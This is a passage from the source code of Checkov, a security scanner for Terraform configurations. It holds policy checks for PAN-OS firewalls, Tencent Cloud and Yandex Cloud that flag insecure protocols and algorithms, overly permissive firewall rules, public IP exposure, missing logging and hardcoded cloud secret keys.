__init__(self): name = "Ensure plain-text management HTTP is not enabled for an Interface Management Profile" id = "CKV_PAN_2" supported_resources = ['panos_management_profile'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'http' def get_forbidden_values(self): return [True] check = InterfaceMgmtProfileNoHTTP() ================================================ FILE: checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoTelnet.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class InterfaceMgmtProfileNoTelnet(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure plain-text management Telnet is not enabled for an Interface Management Profile" id = "CKV_PAN_3" supported_resources = ['panos_management_profile'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'telnet' def get_forbidden_values(self): return [True] check = InterfaceMgmtProfileNoTelnet() ================================================ FILE: checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NetworkIPsecAlgorithms(BaseResourceCheck): def __init__(self) -> None: name = "Ensure IPsec profiles do not specify use of insecure encryption algorithms" id = "CKV_PAN_11" supported_resources = ('panos_ipsec_crypto_profile', 'panos_panorama_ipsec_crypto_profile') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there are encryptions defined in the resource if 'encryptions' in conf: # Report the area of evaluation self.evaluated_keys = ['encryptions'] # Get all the algorithms algorithms = conf['encryptions'] # Iterate over each algorithm, as multiple can be defined in "encryptions" for algo in algorithms: # Check for insecure algorithms, including null as a string (not a null value) if algo[0] in ('des', '3des', 'aes-128-cbc', 'aes-192-cbc', 'aes-256-cbc', 'null'): # Fail if any insecure algorithms are defined for use return CheckResult.FAILED # If no fails have been found, this is a pass return CheckResult.PASSED # If the mandatory "encryptions" attribute is not defined, this is not valid, and will fail during Terraform plan stage, and should therefore be a fail return CheckResult.FAILED check = NetworkIPsecAlgorithms() ================================================ FILE: checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NetworkIPsecAuthAlgorithms(BaseResourceCheck): def __init__(self) -> None: name = "Ensure IPsec profiles do not specify use of insecure authentication algorithms" id = "CKV_PAN_12" supported_resources = ('panos_ipsec_crypto_profile', 'panos_panorama_ipsec_crypto_profile') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there are authentications defined in the resource if 'authentications' in conf: # Report the area of evaluation self.evaluated_keys = ['authentications'] # Get all the algorithms algorithms = conf['authentications'] # Iterate over each algorithm, as multiple can be defined in "authentications" for algo in algorithms: # Check for insecure algorithms, including null as a string (not a null value) if algo[0] in ('none', 'md5', 'sha1'): # Fail if any insecure algorithms are defined for use return CheckResult.FAILED # If no fails have been found, this is a pass return CheckResult.PASSED # If the mandatory "authentications" attribute is not defined, this is not valid, and will fail during Terraform plan stage, and should therefore be a fail return CheckResult.FAILED check = NetworkIPsecAuthAlgorithms() ================================================ FILE: checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class NetworkIPsecProtocols(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure IPsec profiles do not specify use of insecure protocols" id = "CKV_PAN_13" supported_resources = ['panos_ipsec_crypto_profile', 'panos_panorama_ipsec_crypto_profile'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'protocol' def get_forbidden_values(self): return ['ah'] check = NetworkIPsecProtocols() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyDescription.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyDescription(BaseResourceCheck): def __init__(self) -> None: name = "Ensure description is populated within security policies" id = "CKV_PAN_8" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if a description is defined in the rule if 'description' in secrule: # If a description is defined, get the value desc = secrule['description'] if desc[0].strip() == "": # An empty string is no description, which is a fail return CheckResult.FAILED else: # If a description attribute is not explicitly set, this is a fail return CheckResult.FAILED # If no fails have been found, this is a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyDescription() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyLogForwarding.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyLogForwarding(BaseResourceCheck): def __init__(self) -> None: name = "Ensure a Log Forwarding Profile is selected for each security policy rule" id = "CKV_PAN_9" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if a log_setting is defined in the rule if 'log_setting' in secrule: # If a log_setting is defined, get the value desc = secrule['log_setting'] if desc[0].strip() == "": # An empty string is no log_setting, which is a fail return CheckResult.FAILED else: # If a log_setting attribute is not explicitly set, this is a fail return CheckResult.FAILED # If no fails have been found, this is a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyLogForwarding() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyLoggingEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure logging at session end is enabled within security policies" id = "CKV_PAN_10" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if logging at session end is defined in the resource if 'log_end' in secrule: # If logging at session end is defined, get the value logstatus = secrule['log_end'] # Setting log_end to false is a fail, logging will be disabled if not logstatus[0]: return CheckResult.FAILED # The other value for log_end is true, which is a pass # If no fails were found in the rules, this is a pass # Also, if no log_end attributes were explicitly set, the default is true, which is also a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyLoggingEnabled() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyNoApplicationAny(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security rules do not have 'applications' set to 'any' " id = "CKV_PAN_5" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if applications is defined in the resource if 'applications' in secrule: # If applications is defined, get the value apps = secrule['applications'] # The value "any" is overly permissive and is therefore a fail. The value "any" can only appear on its on, "any" with any other values in the list is rejected by Terraform during apply stage if apps[0][0] == "any": return CheckResult.FAILED # Any non-any value is specifying an application, which is a pass else: # If "applications" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail return CheckResult.FAILED # No "any" found for the "applications" attribute for any rules, therefore we have a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyNoApplicationAny() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyNoDSRI.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyNoDSRI(BaseResourceCheck): def __init__(self) -> None: name = "Ensure DSRI is not enabled within security policies" id = "CKV_PAN_4" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if DSRI is defined in the resource if 'disable_server_response_inspection' in secrule: # If DSRI is defined, get the value dsriflag = secrule['disable_server_response_inspection'] # Setting DSRI to true is a fail as server-to-client inspection will be disabled if dsriflag[0]: return CheckResult.FAILED # The other value for DSRI is false, which is a pass # Also, if the DSRI attribute is not explicitly set, the default is false, which is also a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyNoDSRI() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyNoServiceAny(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security rules do not have 'services' set to 'any' " id = "CKV_PAN_6" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if services is defined in the resource if 'services' in secrule: # If services is defined, get the value services = secrule['services'] # The value "any" is overly permissive and is therefore a fail. The value "any" can only appear on its on, "any" with any other values in the list is rejected by Terraform during apply stage if services[0][0] == "any": return CheckResult.FAILED # Any non-any value is specifying an service, which is a pass else: # If "services" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail return CheckResult.FAILED # No "any" found for the "services" attribute for any rules, therefore we have a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyNoServiceAny() ================================================ FILE: checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class PolicyNoSrcAnyDstAny(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any' " id = "CKV_PAN_7" supported_resources = ('panos_security_policy', 'panos_security_rule_group') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Check there is a rule defined in the resource if 'rule' in conf: # Report the area of evaluation self.evaluated_keys = ['rule'] # Get all the rules defined in the resource rules = conf['rule'] # Iterate over each rule for secrule in rules: # Check if source_addresses is defined in the resource if 'source_addresses' in secrule: # If source_addresses is defined, get the value source_addresses = secrule['source_addresses'] # source_addresses can have a list of values, so iterate over each value for src_address in source_addresses[0]: # The value "any" is overly permissive for source_addresses only if combined with destination_address=any... if src_address == "any": # ...so check if destination_addresses is defined in the resource if 'destination_addresses' in secrule: # If destination_addresses is defined, get the value destination_addresses = secrule['destination_addresses'] # destination_addresses can have a list of values, so iterate over each value for dst_address in destination_addresses[0]: # If the value of destination_addresses is also "any" as well as source_addresses=any, this is overly permissive if dst_address == "any": return CheckResult.FAILED else: # If "destination_addresses" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail return CheckResult.FAILED else: # If "source_addresses" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail return CheckResult.FAILED # We have been through all rules and not found one with failure where source_addresses and destination_addresses both have the value 'any', so this is a pass return CheckResult.PASSED # If there's no rules we have nothing to check return CheckResult.UNKNOWN check = PolicyNoSrcAnyDstAny() ================================================ FILE: checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class ZoneProtectionProfile(BaseResourceCheck): def __init__(self) -> None: name = "Ensure a Zone Protection Profile is defined within Security Zones" id = "CKV_PAN_14" supported_resources = ('panos_zone', 'panos_zone_entry', 'panos_panorama_zone') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Report the area of evaluation self.evaluated_keys = ['zone_profile'] # Check there is a Zone Protection Profile defined in the resource if 'zone_profile' in conf: # Get the Zone Protection Profile profile_definition = conf.get('zone_profile') # There can only be one "zone_profile" or Terraform fails at the "plan" stage if profile_definition[0].strip() == "": # An empty string is no Zone Protection Profile, which is a fail return CheckResult.FAILED else: # A non-empty string is a Zone Protection Profile being used, which is a pass return CheckResult.PASSED # If the "zone_profile" attribute is not defined, there is no Zone Protection Profile for this zone, which is a fail return CheckResult.FAILED check = ZoneProtectionProfile() ================================================ FILE: checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class ZoneUserIDIncludeACL(BaseResourceCheck): def __init__(self) -> None: name = "Ensure an Include ACL is defined for a Zone when User-ID is enabled" id = "CKV_PAN_15" supported_resources = ('panos_zone', 'panos_panorama_zone') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Report the area of evaluation self.evaluated_keys = ['include_acls'] # Get User-ID status, boolean value user_id_enabled = conf.get('enable_user_id') # Check if User-ID is enabled in the zone if user_id_enabled: # Then check if an Include ACL is defined for User-ID if 'include_acls' in conf: # Get the Include ACL attribute acls = conf.get('include_acls')[0] # Cycle through each item in the Include ACL list for acl in acls: # Check for empty strings if acl.strip() == "": # An empty string is no ACL, which is a fail return CheckResult.FAILED # No empty strings found in Include ACL definition, so this is a pass return CheckResult.PASSED else: # No Include ACl for User-ID is a fail return CheckResult.FAILED # If User-ID is not enabled for the zone, the Include ACL check is not needed else: return CheckResult.PASSED check = ZoneUserIDIncludeACL() ================================================ FILE: checkov/terraform/checks/resource/panos/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.terraform.checks.resource.base_registry import Registry resource_registry = Registry(CheckType.TERRAFORM) ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CBSEncryption.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceValueCheck class CBSEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Tencent Cloud CBS is encrypted" id = "CKV_TC_1" supported_resources = ['tencentcloud_cbs_storage'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encrypt' def get_expected_value(self) -> List[Any]: return True check = CBSEncryption() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CDBInternetService.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import \ BaseResourceNegativeValueCheck class CDBInternetService(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Tencent Cloud mysql instances do not enable access from public networks" id = "CKV_TC_9" supported_resources = ['tencentcloud_mysql_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'internet_service/[0]' def get_forbidden_values(self) -> List[Any]: return [1] check = CDBInternetService() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CDBIntranetPort.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import \ BaseResourceNegativeValueCheck class CDBIntranetPort(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Tencent Cloud MySQL instances intranet ports are not set to the default 3306" id = "CKV_TC_10" supported_resources = ['tencentcloud_mysql_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'intranet_port/[0]' def get_forbidden_values(self) -> List[Any]: return [3306] check = CDBIntranetPort() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CLBInstanceLog.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceCheck class CLBInstanceLog(BaseResourceCheck): def __init__(self): name = "Ensure Tencent Cloud CLB has a logging ID and topic" id = "CKV_TC_11" supported_resources = ['tencentcloud_clb_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("log_set_id") is None or conf.get("log_topic_id") is None: return CheckResult.FAILED return CheckResult.PASSED check = CLBInstanceLog() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CLBListenerProtocol.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import \ BaseResourceNegativeValueCheck class CLBListenerProtocol(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Tencent Cloud CLBs use modern, encrypted protocols" id = "CKV_TC_12" supported_resources = ['tencentcloud_clb_listener'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'protocol/[0]' def get_forbidden_values(self) -> List[Any]: return ["TCP", "UDP", "HTTP"] check = CLBListenerProtocol() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CVMAllocatePublicIp.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import \ BaseResourceNegativeValueCheck class CVMAllocatePublicIp(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Tencent Cloud CVM instance does not allocate a public IP" id = "CKV_TC_2" supported_resources = ['tencentcloud_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'allocate_public_ip/[0]' def get_forbidden_values(self) -> List[Any]: return [True] check = CVMAllocatePublicIp() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CVMDisableMonitorService.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import \ BaseResourceNegativeValueCheck class CVMDisableMonitorService(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Tencent Cloud CVM monitor service is enabled" id = "CKV_TC_3" supported_resources = ['tencentcloud_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'disable_monitor_service/[0]' def get_forbidden_values(self) -> List[Any]: return [True] check = CVMDisableMonitorService() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultSecurityGroup.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceCheck class CVMUseDefaultSecurityGroup(BaseResourceCheck): def __init__(self): name = "Ensure Tencent Cloud CVM instances do not use the default security group " id = "CKV_TC_4" supported_resources = ['tencentcloud_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict) -> CheckResult: if conf.get("orderly_security_groups"): for osg in conf["orderly_security_groups"][0]: if ".default." in osg: self.evaluated_keys = ["orderly_security_groups"] return CheckResult.FAILED if conf.get("security_groups"): for sg in conf["security_groups"][0]: if ".default." in sg: self.evaluated_keys = ["security_groups"] return CheckResult.FAILED return CheckResult.PASSED check = CVMUseDefaultSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultVPC.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceCheck class CVMUseDefaultVPC(BaseResourceCheck): def __init__(self): name = "Ensure Tencent Cloud CVM instances do not use the default VPC" id = "CKV_TC_5" supported_resources = ['tencentcloud_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("vpc_id") and ".default." in conf["vpc_id"][0]: self.evaluated_keys = ["vpc_id"] return CheckResult.FAILED if conf.get("subnet_id") and ".default." in conf["subnet_id"][0]: self.evaluated_keys = ["subnet_id"] return CheckResult.FAILED return CheckResult.PASSED check = CVMUseDefaultVPC() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/CVMUserData.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import ( BaseResourceCheck, CheckResult) class CVMUserData(BaseResourceCheck): def __init__(self): name = "Ensure Tencent Cloud CVM user data does not contain sensitive information" id = "CKV_TC_13" supported_resources = ['tencentcloud_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict) -> CheckResult: if conf.get("user_data_raw") and ("TENCENTCLOUD_SECRET_ID" in conf["user_data_raw"][0] or "TENCENTCLOUD_SECRET_KEY" in conf["user_data_raw"][0]): self.evaluated_keys = ["user_data_raw"] return CheckResult.FAILED if conf.get("user_data") and ("TENCENTCLOUD_SECRET_ID" in conf["user_data"][0] or "TENCENTCLOUD_SECRET_KEY" in conf["user_data"][0]): self.evaluated_keys = ["user_data"] return CheckResult.FAILED return CheckResult.PASSED check = CVMUserData() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/TKELogAgentEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceValueCheck class TKELogAgentEnable(BaseResourceValueCheck): def __init__(self): name = "Ensure Tencent Cloud TKE clusters enable log agent" id = "CKV_TC_6" supported_resources = ['tencentcloud_kubernetes_cluster'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "log_agent/enabled" def get_expected_value(self) -> bool: return True check = TKELogAgentEnable() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/TKEPublicIpAssigned.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceCheck class TKEPublicIpAssigned(BaseResourceCheck): def __init__(self): name = "Ensure Tencent Cloud TKE cluster is not assigned a public IP address" id = "CKV_TC_7" supported_resources = ['tencentcloud_kubernetes_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("master_config"): for idx, mc in enumerate(conf["master_config"]): if mc.get("public_ip_assigned") and mc["public_ip_assigned"][0]: self.evaluated_keys = [f"master_config/[{idx}]/public_ip_assigned"] return CheckResult.FAILED if mc.get("public_ip_assigned") is None and mc.get("internet_max_bandwidth_out") and mc["internet_max_bandwidth_out"][0] > 0: self.evaluated_keys = [f"master_config/[{idx}]/internet_max_bandwidth_out"] return CheckResult.FAILED if conf.get("worker_config"): for idx, mc in enumerate(conf["worker_config"]): if mc.get("public_ip_assigned") and mc["public_ip_assigned"][0]: self.evaluated_keys = [f"worker_config/[{idx}]/public_ip_assigned"] return CheckResult.FAILED if mc.get("public_ip_assigned") is None and mc.get("internet_max_bandwidth_out") and mc["internet_max_bandwidth_out"][0] > 0: self.evaluated_keys = [f"worker_config/[{idx}]/internet_max_bandwidth_out"] return CheckResult.FAILED return CheckResult.PASSED check = TKEPublicIpAssigned() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/VPCFlowLogConfigEnable.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import \ BaseResourceNegativeValueCheck class VPCFlowLogConfigEnable(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Tencent Cloud VPC flow logs are enabled" id = "CKV_TC_14" supported_resources = ['tencentcloud_vpc_flow_log_config'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'enable/[0]' def get_forbidden_values(self) -> List[Any]: return [False] check = VPCFlowLogConfigEnable() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/VPCSecurityGroupRuleSet.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import \ BaseResourceCheck class VPCSecurityGroupRuleSet(BaseResourceCheck): def __init__(self): name = "Ensure Tencent Cloud VPC security group rules do not accept all traffic" id = "CKV_TC_8" supported_resources = ['tencentcloud_security_group_rule_set'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("ingress"): for i in conf["ingress"]: if i.get("action") and i["action"][0] != "ACCEPT": continue if i.get("cidr_block") is None and i.get("ipv6_cidr_block") is None: continue if i.get("cidr_block") and i["cidr_block"][0] != "0.0.0.0/0": continue if i.get("ipv6_cidr_block") and (i["ipv6_cidr_block"][0] not in ["::/0", "0::0/0"]): continue return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["ingress"] check = VPCSecurityGroupRuleSet() ================================================ FILE: checkov/terraform/checks/resource/tencentcloud/__init__.py ================================================ import glob from os.path import basename, dirname, isfile, join modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupPublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ComputeInstanceGroupPublicIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure compute instance group does not have public IP." id = "CKV_YC_18" categories = (CheckCategories.NETWORKING,) supported_resources = ("yandex_compute_instance_group",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "instance_template/[0]/network_interface/[0]/nat" def get_forbidden_values(self) -> list[Any]: return [True] check = ComputeInstanceGroupPublicIP() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupSecurityGroup.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class ComputeInstanceGroupSecurityGroup(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure compute instance group has security group assigned." id = "CKV_YC_22" supported_resources = ("yandex_compute_instance_group",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "instance_template/[0]/network_interface/[0]/security_group_ids" def get_expected_value(self) -> Any: return ANY_VALUE check = ComputeInstanceGroupSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ComputeVMPublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ComputeVMPublicIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure compute instance does not have public IP." id = "CKV_YC_2" categories = (CheckCategories.NETWORKING,) supported_resources = ("yandex_compute_instance",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "network_interface/[0]/nat" def get_forbidden_values(self) -> list[Any]: return [True] check = ComputeVMPublicIP() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ComputeVMSecurityGroup.py ================================================ from typing 